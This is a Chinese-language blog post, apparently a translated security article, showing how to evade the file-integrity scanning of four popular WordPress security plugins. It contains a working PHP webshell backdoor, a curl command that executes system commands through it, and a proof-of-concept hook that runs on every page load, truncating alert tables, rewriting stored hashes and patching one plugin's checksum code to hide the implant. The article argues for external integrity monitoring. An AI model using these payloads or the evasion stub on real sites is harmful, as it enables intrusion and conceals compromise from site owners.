在开始阅读本文之前请记住:安全插件非常棒,您需要安装至少一个。它们是攻击者的第一道屏障,通常有助于在WordPress中保持良好的强化程度。但使用它们作为文件完整性检查程序很糟糕。很多永远不要相信他们.
Wordfence安全性(版本7.0.2 - + 2M有效安装)
这是最流行的插件,有超过两百万的活动安装。这个插件的一个功能是(用他自己的话说):
将您的核心文件,主题和插件与WordPress.org存储库中的内容进行比较,检查其完整性并报告对您的任何更改。
好吧,让我们测试一下将“frontdoor.php”文件添加到plugins文件夹,编辑“index.php”,并在WordFence文件夹中创建一个新的PHP。在所有情况下,我们的“后门”的内容将是:
<?php @$filter = $_POST['filter']; @$words = array($_POST['text']); @$filtered_words = array_filter($words, $filter); ?>
我们可以看到我们的小后门完美运作:
$ curl http://localhost/wordpress/wp-content/plugins/wordfence/frontdoor.php --data "filter=system&text=uname -a" Linux kaiju 3.16.0-4-amd64 #1 SMP Debian 3.16.51-3 (2017-12-13) x86_64 GNU/Linux
我对这个插件有点问题。即使设置最大敏感度,它也不会检测我的后门或修改的文件(U_U“)。嗯,事实并非如此:我遇到了一个问题...... User "admin" with "administrator" access has an easy password.Type: Insecure Password。也许“免费”版本效果不是很好,但我们可以使用此问题生成(检测到弱密码)来查看问题是如何存储并显示给管理员的。
基本上,这个插件将问题信息存储在名为“ prefix _wfissues” 的表下的数据库中。在此表中,我们找到“严重性”以及用于警告管理员的消息。所以我们只需要用SQL查询进行“截断”来刷新这些信息。
另外存在一个名为“__prefix__wfFileMods”的表,其中包含列“filename”,“filenameMD5”,“oldMD5”和“MD5”。我们可以操纵这个表,以便更隐蔽,不会触发警报。
iThemes Security(版本6.9.2 - + 900K有效安装)
此插件使用的方法基于在“ itsec_local_file_list ” 键下保留文件列表,时间戳和他在表prefix_ options中拥有MD5 。看起来像:
a:3346:{s:15:"wp-settings.php";a:2:{s:1:"d";i:1519165466;s:1:"h";s:32:"65925f28e27552ed6844be036d90cc95";} s:9:".htaccess";a:2:{s:1:"d";i:1520727850;s:1:"h";s:32:"6c10a3562901b71856657cfe40321bd1";} ... ...
部署我们的植入后,我们只需要使用修改的每个文件的新md5值更新此数组。
All In One WP安全和防火墙(版本4.3.2 - + 600K有效安装)
在这个插件的功能之间,我们可以看到:
文件更改检测扫描程序可以提醒您WordPress系统中是否有任何文件已更改。然后,您可以调查并查看这是否是合法的更改或注入了一些错误的代码。
以与以前相同的方式,我们将修改PHP文件的内容(在这种情况下,我们将修改此插件拥有的“wp-security.php”文件):
<?php /* Plugin Name: All In One WP Security Version: 4.3.2 Plugin URI: https://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin Author: Tips and Tricks HQ, Peter Petreski, Ruhul, Ivy Author URI: https://www.tipsandtricks-hq.com/ Description: All round best WordPress security plugin! Text Domain: all-in-one-wp-security-and-firewall Domain Path: /languages License: GPL3 */ // Our backdoor @$filter = $_POST['filter']; @$words = array($_POST['text']); @$filtered_words = array_filter($words, $filter); // End of backdoor if(!defined('ABSPATH')){ exit; //Exit if accessed directly } ... ?>
这次我们收到一条警告说文件/var/www/html/wordpress/wp-content/plugins/all-in-one-wp-security-and-firewall/wp-security.php已被修改。如果我们调查这个插件是如何工作的,我们会很快注意到在安装插件时在数据库中创建了新表。其中之一,前缀 _aiowps_global_meta,有一个元值“file_change_detection”和一个序列化数组,其中包含与每个文件关联的名称和元数据(时间戳和大小):
a:2397:{s:39:"/var/www/html/wordpress/wp-settings.php";a:2:{s:13:"last_modified";i:1507069246;s:8:"filesize";i:16246;}...
如果在执行扫描任务后发现任何更改(时间戳或大小已更改,或者存在文件添加或删除),则会填充另一个元数据,以警告更改。所以基本上这个插件可以保存带有文件的列表(名称,大小和最后更改),并将其与保存的值进行比较:如果某些内容不同,则会触发警报。为了破坏这种类型的检查,我们只需要在植入后门之后编辑这个序列化对象。
适用于WordPress的Shield Security(版本6.3.2 - + 70K有效安装)
另一个带有文件完整性扫描程序的插件,它试图发现已修改的核心文件。如果我们使用grep进行少量搜索,我们深入研究代码,我们可以看到这个提取位于src / common / icwp-wpfunctions.php:
... /** * @return string[] */ public function getCoreChecksums() { $aChecksumData = false; $sCurrentVersion = $this->getVersion(); if ( function_exists( 'get_core_checksums' ) ) { // if it's loaded, we use it. $aChecksumData = get_core_checksums( $sCurrentVersion, $this->getLocale( true ) ); } else { $aQueryArgs = array( 'version' => $sCurrentVersion, 'locale' => $this->getLocale( true ) ); $sQueryUrl = add_query_arg( $aQueryArgs, 'https://api.wordpress.org/core/checksums/1.0/' ); $sResponse = $this->loadFS()->getUrlContent( $sQueryUrl ); if ( !empty( $sResponse ) ) { $aDecodedResponse = json_decode( trim( $sResponse ), true ); if ( is_array( $aDecodedResponse ) && isset( $aDecodedResponse[ 'checksums' ] ) && is_array( $aDecodedResponse[ 'checksums' ] ) ) { $aChecksumData = $aDecodedResponse[ 'checksums' ]; } } } return is_array( $aChecksumData ) ? $aChecksumData : array(); } ... ?>
在这段代码中,我们可以看到插件如何检查get_core_checksums函数的存在。这是一个内部WordPress函数(在WordPress 3.7.0中引入),它向WordPress API(https://api.wordpress.org/core/checksums/1.0/)发出请求并检索核心文件的校验和。如果找不到该功能(可能是因为WordPress的旧版本),插件会执行请求并获取校验和。
... /** * @return string[] */ public function getCoreChecksums() { $aChecksumData = false; $sCurrentVersion = $this->getVersion(); if ( function_exists( 'get_core_checksums' ) ) { // if it's loaded, we use it. $aChecksumData = get_core_checksums( $sCurrentVersion, $this->getLocale( true ) ); } else { $aQueryArgs = array( 'version' => $sCurrentVersion, 'locale' => $this->getLocale( true ) ); $sQueryUrl = add_query_arg( $aQueryArgs, 'https://api.wordpress.org/core/checksums/1.0/' ); $sResponse = $this->loadFS()->getUrlContent( $sQueryUrl ); if ( !empty( $sResponse ) ) { $aDecodedResponse = json_decode( trim( $sResponse ), true ); if ( is_array( $aDecodedResponse ) && isset( $aDecodedResponse[ 'checksums' ] ) && is_array( $aDecodedResponse[ 'checksums' ] ) ) { $aChecksumData = $aDecodedResponse[ 'checksums' ]; } } } return is_array( $aChecksumData ) ? $aChecksumData : array(); } ... ?>
避免检测的最简单方法是编辑此文件并更改返回值。如果函数返回并清空数组(返回数组();)插件会说“好的,一切都没问题”:
Core File Scanner Results There were no modified files discovered in the scan. Cool :).
PoC || GTFO
在这篇简短的文章中,我们已经了解了如何破坏WordPress中最流行的安全插件所使用的文件完整性检查。遵循这个想法,我们可以创建一个必须添加到加载的插件的代码存根。此代码将禁用(或隐藏)我们的文件后门。你可以改进它(这段代码只是一个显示主要想法的PoC)。
add_action("wp_head", "knockout"); define("DB_PRE", $table_prefix); function patch_shield ($line) { if (stristr($line, 'return is_array( $aChecksumData ) ? $aChecksumData : array();')) { return "return array();\n"; } return $line; } // Here is where the magic lies :) function knockout() { // Filenames we want to hide $hide = array("wp-settings.php", "wp-content/plugins/akismet/akismet.php"); // Ok, let's kill iThemes Security $o = get_option("itsec_local_file_list"); // Change the values foreach ($hide as $file) { $o[$file]['d'] = filemtime(get_home_path() . $file); // Timestamp $o[$file]['h'] = md5_file(get_home_path() . $file); // Hash } // Update values update_option("itsec_local_file_list", $o); // Kill WordFence alerts $con = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); mysql_select_db(DB_NAME); $query = "truncate ". DB_PRE ."wfIssues;"; mysql_query($query); // Kill All-in-One WP Security $query = "truncate ". DB_PRE . "aiowps_global_meta;"; mysql_query($query); // Patch Shield Security $shield = get_home_path() . "wp-content/plugins/wp-simple-firewall/src/common/icwp-wpfunctions.php"; if (file_exists($shield)) { echo "YEAH"; $lines = file($shield); $lines = array_map('patch_shield', $lines); var_dump($lines); file_put_contents($shield, implode('', $lines)); } }
最后的话
不要相信WordPress中的安全插件进行的文件完整性检查。因为如果攻击者能够编辑您的文件,这意味着他可以编辑WordPress数据库中的任何内容并修补其他文件。所以这种检查总是必须使用像Wazuh或类似的软件从外部完成。
本文作者为Mr.Bai,转载请注明。